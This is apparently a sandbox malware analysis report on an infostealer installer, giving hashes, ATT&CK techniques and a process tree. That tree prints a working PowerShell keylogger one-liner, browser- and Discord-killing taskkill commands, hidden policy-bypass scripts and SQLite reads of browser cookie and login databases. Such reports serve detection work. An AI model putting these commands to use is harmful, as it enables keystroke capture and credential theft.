b15b13a9421c213b63de7e7ba5a06962dcb7753cdb5f8248d7a139f1b0ca4187

Analysis

max time kernel
149s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 08:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
InnerEvilSetup.exe
Size 95.9MB
Sample260602-kfkcjsat2q
SHA256 b15b13a9421c213b63de7e7ba5a06962dcb7753cdb5f8248d7a139f1b0ca4187
MD5 c5017151d584bd00a3bb472d3cac4586
SHA1 0d86dac61db3f2a5cf1e0aefbf8bd82b8605b538
SHA512 4481dd691992190e354908afb675d4e8fe742ab8feba650a5f575549ffd2bcd7f76b5fb8b8514679ab38873fce636dac3618afae9b40e414025d04e706943587
SSDEEP 786432:aWJVDSfPhj2e7pAp6B65Eu1J6dG/u3XFU41:aW7DSRj2e7WEu1Q
TLSH
T188285C22A2A605B5E4BFFA3196E65D239D22BC076F3045DF334817362F736E05A36B11
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1168	powershell.exe
2912	powershell.exe
3636	powershell.exe
3016	powershell.exe
2748	powershell.exe
5076	powershell.exe
3720	powershell.exe
4160	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Chilo.vbs	InnerEvilSetup.exe

Executes dropped EXE 41 IoCs

pid	Process
4412	_sq3e_z4.exe
988	_sq3e_z4.exe
5004	_sq3e_z4.exe
2528	_sq3e_z4.exe
912	_sq3e_z4.exe
4180	_sq3e_z4.exe
4244	_sq3e_z4.exe
3992	_sq3e_z4.exe
1076	_sq3e_z4.exe
4580	_sq3e_z4.exe
4576	_sq3e_z4.exe
1916	_sq3e_z4.exe
4520	_sq3e_z4.exe
3260	_sq3e_z4.exe
3284	_sq3e_z4.exe
3988	_sq3e_z4.exe
4996	_sq3e_z4.exe
564	_sq3e_z4.exe
1864	_sq3e_z4.exe
648	_sq3e_z4.exe
3080	_sq3e_z4.exe
1364	_sq3e_z4.exe
764	_sq3e_z4.exe
2160	_sq3e_z4.exe
1416	_sq3e_z4.exe
332	_sq3e_z4.exe
4752	_sq3e_z4.exe
4252	_sq3e_z4.exe
2096	_sq3e_z4.exe
1160	_sq3e_z4.exe
3808	_sq3e_z4.exe
4988	_sq3e_z4.exe
540	_sq3e_z4.exe
3340	_sq3e_z4.exe
4612	_sq3e_z4.exe
3836	_sq3e_z4.exe
5036	_sq3e_z4.exe
912	_sq3e_z4.exe
2748	_sq3e_z4.exe
2756	_sq3e_z4.exe
412	_sq3e_z4.exe

Loads dropped DLL 3 IoCs

pid	Process
1264	InnerEvilSetup.exe
1264	InnerEvilSetup.exe
1264	InnerEvilSetup.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4492	chrome.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	InnerEvilSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	InnerEvilSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	InnerEvilSetup.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 23 IoCs

defense_evasion

pid	Process
2576	taskkill.exe
3280	taskkill.exe
1140	taskkill.exe
3356	taskkill.exe
1812	taskkill.exe
3384	taskkill.exe
3316	taskkill.exe
4956	taskkill.exe
660	taskkill.exe
3296	taskkill.exe
2364	taskkill.exe
772	taskkill.exe
352	taskkill.exe
4672	taskkill.exe
3820	taskkill.exe
2900	taskkill.exe
1876	taskkill.exe
2128	taskkill.exe
572	taskkill.exe
2856	taskkill.exe
4084	taskkill.exe
2204	taskkill.exe
4412	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134248628299950707"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe
3720	powershell.exe
3720	powershell.exe
3720	powershell.exe
4160	powershell.exe
4160	powershell.exe
3016	powershell.exe
3016	powershell.exe
3016	powershell.exe
2748	powershell.exe
2748	powershell.exe
2912	powershell.exe
2912	powershell.exe
1168	powershell.exe
1168	powershell.exe
5076	powershell.exe
5076	powershell.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
4656	chrome.exe
4656	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2856	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe
Token: SeDebugPrivilege	2204	taskkill.exe
Token: SeDebugPrivilege	4956	taskkill.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	3280	taskkill.exe
Token: SeDebugPrivilege	660	taskkill.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	3296	taskkill.exe
Token: SeDebugPrivilege	4412	taskkill.exe
Token: SeDebugPrivilege	1140	taskkill.exe
Token: SeDebugPrivilege	2364	taskkill.exe
Token: SeDebugPrivilege	3356	taskkill.exe
Token: SeDebugPrivilege	1812	taskkill.exe
Token: SeDebugPrivilege	772	taskkill.exe
Token: SeDebugPrivilege	1876	taskkill.exe
Token: SeDebugPrivilege	3384	taskkill.exe
Token: SeDebugPrivilege	352	taskkill.exe
Token: SeDebugPrivilege	2576	taskkill.exe
Token: SeDebugPrivilege	2128	taskkill.exe
Token: SeDebugPrivilege	3316	taskkill.exe
Token: SeDebugPrivilege	572	taskkill.exe
Token: SeDebugPrivilege	4672	taskkill.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe
Token: SeCreatePagefilePrivilege	1796	chrome.exe
Token: SeShutdownPrivilege	1796	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe
1796	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 3636	1264	InnerEvilSetup.exe	82
PID 1264 wrote to memory of 2252	1264	InnerEvilSetup.exe	84
PID 2252 wrote to memory of 2856	2252	cmd.exe	86
PID 1264 wrote to memory of 1964	1264	InnerEvilSetup.exe	88
PID 1964 wrote to memory of 3820	1964	cmd.exe	90
PID 3636 wrote to memory of 3672	3636	powershell.exe	91
PID 1264 wrote to memory of 3796	1264	InnerEvilSetup.exe	92
PID 3796 wrote to memory of 2900	3796	cmd.exe	94
PID 3672 wrote to memory of 3096	3672	csc.exe	95
PID 1264 wrote to memory of 1028	1264	InnerEvilSetup.exe	96
PID 1028 wrote to memory of 4084	1028	cmd.exe	98
PID 1264 wrote to memory of 2888	1264	InnerEvilSetup.exe	99
PID 2888 wrote to memory of 2204	2888	cmd.exe	101
PID 1264 wrote to memory of 2388	1264	InnerEvilSetup.exe	102
PID 2388 wrote to memory of 4956	2388	cmd.exe	104
PID 1264 wrote to memory of 220	1264	InnerEvilSetup.exe	105
PID 220 wrote to memory of 3720	220	cmd.exe	107
PID 3720 wrote to memory of 1492	3720	powershell.exe	108
PID 1492 wrote to memory of 4556	1492	csc.exe	109
PID 1264 wrote to memory of 1092	1264	InnerEvilSetup.exe	110
PID 1092 wrote to memory of 4160	1092	cmd.exe	112
PID 1264 wrote to memory of 2196	1264	InnerEvilSetup.exe	113
PID 2196 wrote to memory of 3016	2196	cmd.exe	115
PID 3016 wrote to memory of 5020	3016	powershell.exe	116
PID 5020 wrote to memory of 3776	5020	csc.exe	117
PID 3016 wrote to memory of 2780	3016	powershell.exe	118
PID 2780 wrote to memory of 4712	2780	csc.exe	119
PID 1264 wrote to memory of 4412	1264	InnerEvilSetup.exe	208
PID 1264 wrote to memory of 988	1264	InnerEvilSetup.exe	122
PID 1264 wrote to memory of 5004	1264	InnerEvilSetup.exe	124
PID 1264 wrote to memory of 2528	1264	InnerEvilSetup.exe	126
PID 1264 wrote to memory of 912	1264	InnerEvilSetup.exe	212
PID 1264 wrote to memory of 4180	1264	InnerEvilSetup.exe	130
PID 1264 wrote to memory of 4244	1264	InnerEvilSetup.exe	132
PID 1264 wrote to memory of 3992	1264	InnerEvilSetup.exe	134
PID 1264 wrote to memory of 1076	1264	InnerEvilSetup.exe	136
PID 1264 wrote to memory of 4580	1264	InnerEvilSetup.exe	138
PID 1264 wrote to memory of 4576	1264	InnerEvilSetup.exe	140
PID 1264 wrote to memory of 1916	1264	InnerEvilSetup.exe	142
PID 1264 wrote to memory of 4520	1264	InnerEvilSetup.exe	144
PID 1264 wrote to memory of 3260	1264	InnerEvilSetup.exe	235
PID 1264 wrote to memory of 3284	1264	InnerEvilSetup.exe	148
PID 1264 wrote to memory of 3988	1264	InnerEvilSetup.exe	150
PID 1264 wrote to memory of 4996	1264	InnerEvilSetup.exe	152
PID 1264 wrote to memory of 564	1264	InnerEvilSetup.exe	154
PID 1264 wrote to memory of 1864	1264	InnerEvilSetup.exe	156
PID 1264 wrote to memory of 648	1264	InnerEvilSetup.exe	256
PID 1264 wrote to memory of 2464	1264	InnerEvilSetup.exe	160
PID 2464 wrote to memory of 3280	2464	cmd.exe	203
PID 1264 wrote to memory of 416	1264	InnerEvilSetup.exe	163
PID 416 wrote to memory of 660	416	cmd.exe	165
PID 1264 wrote to memory of 2124	1264	InnerEvilSetup.exe	166
PID 2124 wrote to memory of 2748	2124	cmd.exe	214
PID 1264 wrote to memory of 3080	1264	InnerEvilSetup.exe	169
PID 1264 wrote to memory of 1364	1264	InnerEvilSetup.exe	171
PID 1264 wrote to memory of 764	1264	InnerEvilSetup.exe	173
PID 1264 wrote to memory of 2160	1264	InnerEvilSetup.exe	263
PID 1264 wrote to memory of 1416	1264	InnerEvilSetup.exe	177
PID 1264 wrote to memory of 332	1264	InnerEvilSetup.exe	179
PID 1264 wrote to memory of 4752	1264	InnerEvilSetup.exe	181
PID 1264 wrote to memory of 4252	1264	InnerEvilSetup.exe	183
PID 1264 wrote to memory of 2096	1264	InnerEvilSetup.exe	185
PID 1264 wrote to memory of 1160	1264	InnerEvilSetup.exe	187
PID 1264 wrote to memory of 3808	1264	InnerEvilSetup.exe	189

C:\Users\Admin\AppData\Local\Temp\InnerEvilSetup.exe
"C:\Users\Admin\AppData\Local\Temp\InnerEvilSetup.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern short GetAsyncKeyState(int v);' -Name \"W\" -Namespace \"N\" -PassThru | Out-Null; while($true){ for($i=8; $i -le 190; $i++){ if([N.W]::GetAsyncKeyState($i) -band 0x8000){ if(!$p[$i]){ Write-Output $i; $p[$i]=$true } }else{$p[$i]=$false} }; Start-Sleep -m 20 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e4akkvuc\e4akkvuc.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF40.tmp" "c:\Users\Admin\AppData\Local\Temp\e4akkvuc\CSC5382D8ADD76B4266968F42F4142E33BA.TMP"
      4⤵
      PID:3096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /IM msedge.exe /IM firefox.exe /IM opera.exe /IM brave.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "Discord.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "Discord.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordCanary.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordCanary.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordPTB.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1028
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordPTB.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordDevelopment.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM "DiscordDevelopment.exe"
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1780389208070_2hyfmx.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\system_script_1780389208070_2hyfmx.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3720
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rqg2l0cz\rqg2l0cz.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1492
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES589.tmp" "c:\Users\Admin\AppData\Local\Temp\rqg2l0cz\CSCD2AAA6D1A16941BAAC46F57E90768B80.TMP"
        5⤵
        
        PID:4556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780389209227_dwrs3e.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\dpapi_script_1780389209227_dwrs3e.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1780389209820_wcp7jj.ps1' } *> $null""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& { & 'C:\Users\Admin\AppData\Local\Temp\cng_script_1780389209820_wcp7jj.ps1' } *> $null"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dgjuxa23\dgjuxa23.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5020
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAD8.tmp" "c:\Users\Admin\AppData\Local\Temp\dgjuxa23\CSCC70B69335F01482CB69C69EFDF7E5FB.TMP"
        5⤵
        
        PID:3776
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1kpb5fym\1kpb5fym.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2780
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB84.tmp" "c:\Users\Admin\AppData\Local\Temp\1kpb5fym\CSCFF555D0EF98F4DB6A02FBD5265BA56DC.TMP"
        5⤵
        
        PID:4712
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\History_1780389210664_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210664.sql"
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389210695_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210711.sql"
  2⤵
  - Executes dropped EXE
  PID:988
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389210695_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210727.sql"
  2⤵
  - Executes dropped EXE
  PID:5004
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389210695_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210758.sql"
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe "C:\Users\Admin\AppData\Local\Temp\Web Data_1780389210695_0" ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210774.sql"
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210805.sql"
  2⤵
  - Executes dropped EXE
  PID:4180
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210836.sql"
  2⤵
  - Executes dropped EXE
  PID:4244
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210867.sql"
  2⤵
  - Executes dropped EXE
  PID:3992
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210899.sql"
  2⤵
  - Executes dropped EXE
  PID:1076
- C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe
  C:\Users\Admin\AppData\Local\Temp\_sq3e_z4.exe C:\Users\Admin\AppData\Local\Temp\Cookies_1780389210805_0 ".read C:\Users\Admin\AppData\Local\Temp\_sq_1264_1780389210930.sql"
  2⤵
  - Executes dropped EXE
